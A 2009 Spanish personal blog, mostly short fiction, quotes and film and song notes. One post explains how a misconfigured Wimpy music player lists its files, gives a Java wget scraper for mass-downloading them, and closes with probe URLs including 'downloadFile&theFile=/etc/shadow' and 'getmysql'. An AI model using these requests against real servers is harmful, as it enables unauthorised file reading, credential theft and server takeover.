glog

Enten-Eller

Agosto 14, 2009 · 7 comentarios

A

y B

¿Has probado la perdiz? Le echan algo extraño
a la salsa

No me gusta

¿Qué te pasa en los ojos?

Están sangrando

¿Lo viste ayer por televisión?

Doblepensar

Me marcho, tengo cosas que hacer

Miriasis

Enten

Eller

O lo uno

o lo otro.

Cásate, te arrepentirás; no te cases, también te arrepentirás; te cases o no te cases, en ambos casos te arrepientes. Ríete de las locuras del mundo, te arrepentirás; llora por ellas, también te arrepentirás; te rías de las locuras del mundo o llores por ellas, en ambos casos te arrepentirás; o bien te ríes de las locuras del mundo o bien lloras por ellas, en ambos casos te arrepientes. Confía en una joven, te arrepentirás; no confíes en ella, también te arrepentirás; o bien confías en una joven o bien no confías en ella, en ambos casos acabas arrepintiéndote. Cuélgate, te arrepentirás; no te cuelgues, también te arrepentirás; te cuelgues o no te cuelgues, en ambos casos te arrepentirás; o bien te cuelgas o bien no te cuelgas, en ambos casos acabas arrepintiéndote.

→ 7 comentariosCategorías: textos · vida
Etiquetado: ,

Santa rita santa rita

Agosto 8, 2009 · 2 comentarios

Que me quiere pero no está enamorá! xD

→ 2 comentariosCategorías: canciones · tontunas
Etiquetado:

De versos y tarados mentales

Julio 26, 2009 · 2 comentarios

→ 2 comentariosCategorías: piniculas
Etiquetado: ,

Fobias

Julio 19, 2009 · 2 comentarios

Salio corriendo de allí. Su casa estaba llena de hormigas, y las tenía pánico. Ya fuera, seguía encontrándose cientos de ellas por el camino. Notaba cada latido en la frente. Escuchaba su respiración. No sabía que hacer. Se alejó corriendo de la carretera principal, y poco a poco fueron desapareciendo.
Un rato después, más calmado, llamó a su amigo. Necesitaba desahogarse contándoselo a alguien. Su amigo hablaba muy rápido, sin hacer casi pausas entre cada frase.

- Sabes que tu miedo no es racional, como la mayoría de los miedos, por otra parte. Quizás te pasó algo de pequeño, comiste hormigas sin querer, qué se yo, y por eso ahora te comportas así. Intenta recordar. ¿Has hablado con alguien más?

Suspiró. No le estaba escuchando. Cabizbajo, agachó las antenas y colgó el teléfono.

→ 2 comentariosCategorías: bugs · textos
Etiquetado:

Chiste (o algo asi xD)

Julio 17, 2009 · 9 comentarios

chistepez

Lo bien que se me da el paint :)

→ 9 comentariosCategorías: humor · tontunas
Etiquetado:

Verano 09

Julio 14, 2009 · 7 comentarios

Podría haber cambiado su nombre y domicilio con cualquier vecino sin que nada se hubiese alterado.

Bajo las ruedas, Herman Hesse

Agitó la bolsita de azucar, hasta que los granos se empezaron a acumular en el extremo inferior. Tenía dibujada el logo de alguna franquicia alimentaria en el dorsal, y apuntada una dirección y un número de teléfono. El 4 y el 7 estaban borrosos, pero aun así se podían distinguir con bastante claridad. J. rasgó el papel por la parte superior, y vertió más de tres cuartas partes del contendio sobre el café con leche que había pedido. Para su gusto, la taza era demasiado grande, pero J. se había acostumbrado a desayunar allí al terminar el turno de noche. El bar Avenida era un sitio bastante tranquilo a primera hora. Y aunque J, no había ido nunca allí después de las 9, suponía que también era un sitio tranquilo el resto del día. De los dos camareros, sólo se llevaba bien con Ana, la última en incorporarse. El otro chico trataba a la gente con indiferencia. La mayoría de las veces ni siquiera contestaba con un gesto tras un pedido. Se limitaba a hacer su trabajo. Su nombre era Fran, Fer, o algo parecido, no lo recordaba. Ni a Ana ni al chico les gustaba estar allí, pero no tenían demasiadas alternativas por el momento. Había conocido a varios camareros durante los años que llevaba desayunando en Avenida, y la sonrisa de Ana al servir el café era la menos forzada que J. había visto.

Mientras removía lentamente la cucharilla, dos personas más llegaban a la barra, situándose a su lado, J. escuchaba distraído las noticias de la tele. Normalmente, prefería dejar sus oídos pegados al zumbar de conversaciones ajenas, engarzando unas con otras, entrando así por unos instantes en la intimidad del resto de la gente que también desayunaba allí de forma habitual. Conocía al menos algo de todos los que habían hecho de Avenida una parada obligatoria en sus mañanas.

El chico joven de la mesa trabajaba de repartidor. En un par de semanas se presentaba a unos exámenes que al parecer eran muy importantes, pero J. desconocía el motivo. Quizás Ana lo sabía. El señor del bigote estaba a punto de cerrar una operación muy importante para su empresa, y pagó el desayuno de las otras 3 personas que le acompañaban. Dedujo que se trataba de compañeros del trabajo. La chica de la blusa azul y los ojos marrones se aburría. Se aburría a todas horas. El cuarentón de al lado engañaba a su mujer. Y la mujer también le engañaba a él.

J. se centró en la televisión, Tenía plan para el fin de semana, y seguían sin anunciar el pronóstico del tiempo. Cansado de esperar, pagó el café y salió de allí. Giró a la izquierda. Caminó unos cien metros, hasta el párking de su compañía. Era un barrio feo, puramente empresarial. Los edificios grises lo envolvían todo, creando un ambiente lúgubre sin importar el lugar en el que respiraras. Ni siquiera el bar Avenida le daba color a aquel ambiente. Todo fue gris hasta llegar al coche. El gris se transformó en amarillo. Le parecía un color terriblemente feo para un coche. El día que pasó a ser suyo, J. no pudo evitar fruncir el ceño al ver el modelo. Pero lo había buscado un amigo suyo, y al fin y al cabo necesitaba un coche. No podía negarse.
Accionó el cierre del mando a distancia. Estaba deseando llegar a casa y echarse a dormir. Su mujer y su hijo probablemente no le dejarían descansar demasiado. Arrancó.

Estaba en la cocina terminando de recoger el desayuno cuando vió a J., su vecino de enfrente terminando de aparcar el Peugeot amarillo delante del jardín. Restos de la mermelada se habían quedado pegados al plato. Tiró el resto de migas a la basura. Mientras, en la radio hablaban de un concurso de relatos cortos. ¿Qué ves a través de la ventana en verano? Ni si quiera dijeron si había premio, pero pensó que era un buen tema, y que tendría posibilidades de ganar.

Hubo un día en el que J. también quiso ganar.

→ 7 comentariosCategorías: textos
Etiquetado: , , , ,

waking life

Julio 5, 2009 · 2 comentarios

Dream is destiny

Película para ver con tiempo. Genial. No puedo decir nada más. Seguiré comprobando que tengo 5 dedos en cada mano. Dejo 2 escenas. Merece la pena, de verdad.

→ 2 comentariosCategorías: frases · piniculas · vida

Esto es para tí

Junio 30, 2009 · 6 comentarios

Le enseñaron a distinguir algunas estrellas. Y unos días después empezó a odiarlas a todas. Es más fácil de lo que se piensa odiar algo, aun cuando no tiene nombre. 
Dejó de mirar al cielo por las noches, cambió la luna por techos nublados. Es más difícil de lo que se piensa apreciar algo, aun cuando tiene nombre.

- ¿Sabes cómo se llama esa constelación de ahí?

Claro que lo sabía. Sabía su puto nombre. Pero no contestó. Él siguió hablando.

- Estoy convencido de que si no fuese por las pequeñas cosas esto sería una mierda

Sería, dijo.
Y aunque le siguieron gustando las nubes,  se reconcilió con las estrellas.

→ 6 comentariosCategorías: vida

cultura de bar

Junio 22, 2009 · 2 comentarios

coma.jpg Eres mas puta que las gallinas de Ipanema, que aprendieron a nadar para follarse a los patos.

Leído por ahí (cof cof) xD

→ 2 comentariosCategorías: frases

vaguería, wimpy y juankers

Junio 22, 2009 · 7 comentarios

Bueno, pues hoy toca post juanker, pa uno que hago al año no os quejeis xD. Facilico y puede que útil.

Bastantes grupos de música y demás permiten escuchar canciones suyas desde su web mediante el típico reproductor flash con su botón de play, pause y demás. Puesto que son los propios grupos los que nos ofrecen las canciones en sus sites, no hacemos nada ilegal escuchándolas. Tampoco lo haríamos si nos las bajásemos directamente, pero bueno, es otro tema xD

Uno de los reproductores típicos es wimpy (30$ ¬¬). En teoría solo podemos disfrutar de las canciones cuando navegamos por su web. En teoría. En la práctica, tenemos 2 opciones:

- Jugar con los archivos temporales del navegador web. Las canciones se tienen que guardar en algún lado en nuestro ordenador no? :P Basta con buscarlas, ir renombrándolas y copíandolas a donde queremos.

- Aprovecharnos de la mala configuración del propio wimpy y de que la gente copia y pega archivos sin saber ni lo que hace, y bajárnoslas directamente.

Explicación xD:

wimpy.php es el reproductor en sí. Por tanto, debe conocer en qué directorios se encuentran los archivos que va a reproducir. Si le echamos un ojo al código, vemos que, si como es de esperar, nadie ha cambiado nada, podemos conocer los archivos pasándole como parámetro la acción getstartupdirlist.

Resumiendo,

wimpy.php?action=getstartupdirlist

nos dará un “listado” en texto plano con las canciones que hay en el servidor y su ruta completa. Y digo “listado” porque no tiene el formato para que sea copiar y pegar y ya, pero se puede ver fácilmente. Ejemplico:

Vamos a la web http://www.blablabla.com/mp3/wimpy.php?action=getstartupdirlist y veremos lo siguiente:

&item0=http%3A%2F%2Fwww.blablabla.com%2Fmp3%2Facdc-whole%20lotta%20rosie.mp3|acdc-whole%20lotta%20rosie||acdc-whole%20lotta%20rosie|||||||&item1=http%3A%2F%2Fwww.blablabla.com%2Fmp3%2Falex%20godino-destination%20calabria.mp3|alex%20godino-destination%20calabria||alex%20godino-destination%20calabria|||||||

Y para bajar una canción bastaría con poner en el navegador/gestor de descargas/loquesea

http://www.blablabla.com/mp3/acdc-whole lotta rosie.mp3

¿Facilico no? Y podemos buscar canciones del grupo que queramos gracias a google, mediante la cadena:
artista inurl:wimpy.php

Por ejemplo, La Fugalafuga inurl:wimpy.php

Y como es un coñazo copiar&pegar&descargar, he hecho un programita que lo hace solo xD. Para usarlo basta con:

wimpy www.artista.com/dir/wimpy.php

El programa se encarga de obtener el listado, darle formato, guardar en un directorio todas las canciones de esa web. El código, de lo más tonto, en bash_sript_hecho_con_java_para_que_funcione_en_windows:

// All this software is provided under the GNU GPL and/or LGPL licenses.
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class main {

	public static void main(String[] args) {

		String cadena="",tmp="";

		//argumentos !=1
		if (args.length!=1){
			System.out.println("Miniprogramica juanquer para bajar canciones de wimpy.\r\nUso: wimpy www.WEB.com/directorio/wimpy.php");
		}

		// argumentos correctos
		else{
			// dirección correcta
			if (!args[0].toString().endsWith("wimpy.php")){
				System.out.println("ERROR: introduzca un formato de dirección correcta");
			}

			// descarga del fichero
			String direccion=("wget -O listado.txt " + args[0]+"?action=getstartupdirlist");
			 try {
				Process p= Runtime.getRuntime().exec(direccion);
				try {
					p.waitFor();
				} catch (InterruptedException e) {
					System.out.println("ERROR: no se ha podido finalizar la descarga del listado de canciones");
				}

			} catch (IOException e1) {
				System.out.println("ERROR: Asegúrse de que wget está instalado y de que se poseen permisos de escritura en el directorio");
				System.exit(1);
			}
			BufferedReader fd =null;
			try{
				 fd = new BufferedReader(new InputStreamReader(new FileInputStream("listado.txt")));
			}
			catch (Exception e) {
				System.out.println("ERROR: El fichero no se ha podido leer");
				System.exit(1);
			}

			// lectura del fichero
			try {
				while ((tmp = fd.readLine())!=null) {
					cadena=cadena+tmp;
				}
			} catch (IOException e) {
				System.out.println("ERROR: Fichero malformado");
				System.exit(1);
			} 

			// REGEX
			String mp3="(http://.*?.mp3)";
			String[] canciones = null;
			String comando;

			try{
				canciones=cadena.split("&");
			}
			catch (Exception e){
				System.out.println("No se encuentran canciones");
			}

			// separamos las canciones
			System.out.println("Por favor, espere...");
			int Ncanciones=0;
			for (int i=0;i<canciones.length;i++){

				Pattern p = Pattern.compile(mp3,Pattern.CASE_INSENSITIVE| Pattern.DOTALL);
				Matcher m=p.matcher(canciones[i]);

				// Descarga de las canciones
				if (m.find())
				{
					Ncanciones+=1;
					comando =  "wget "+  m.group(1).toString();
					try {
						   Process p1=  Runtime.getRuntime().exec(comando);
						   System.out.println("Descargando archivo " + Ncanciones + " : " + comando );
						   p1.waitFor();
						// informacion para depurar, comentar linea superior
						// System.out.println(comando);
					} catch (Exception e) {
						System.out.println("ERROR: imposible descargar"+m.group(1).toString());
						System.exit(1);
					}
				}

			}
			// finalización

			if (Ncanciones==0){
				System.out.println("ERROR: No se ha descargado ninguna canción, asegúrese de que la ruta indicada es correcta");
			}
			else {
				System.out.println("FINALIZADO ==>"+ Ncanciones + " canciones descargadas con éxito ^^");
			}

		}
	}
}

Evidentemente, se puede adaptar a lo que te de la gana, basta con cambiar las expresiones regulares y usar el gestor de descarga que queramos.

Foticos del bicho en acción:

- apuntico de empezar

wimpy1

- ejecutándose

wimpy2

- terminado :)

wimpi3

Como nota avanzada, repetir que no hay que usar cosas de otros sin saber cómo funcionan, que luego vienen las sorpresas. Por ejemplo, y sin entrar en el código, probad cosas como:

wimpy.php?action=phpinfo
wimpy.php?action=getmysql
wimpy.php?action=downloadFile&theFile=/etc/shadow

Bonita forma de adueñarnos de un servidor :P

Ale, ya está, ya me he distraído. Sigo estudiando xD

→ 7 comentariosCategorías: bugs · canciones · informatica · tontunas
Etiquetado: , , ,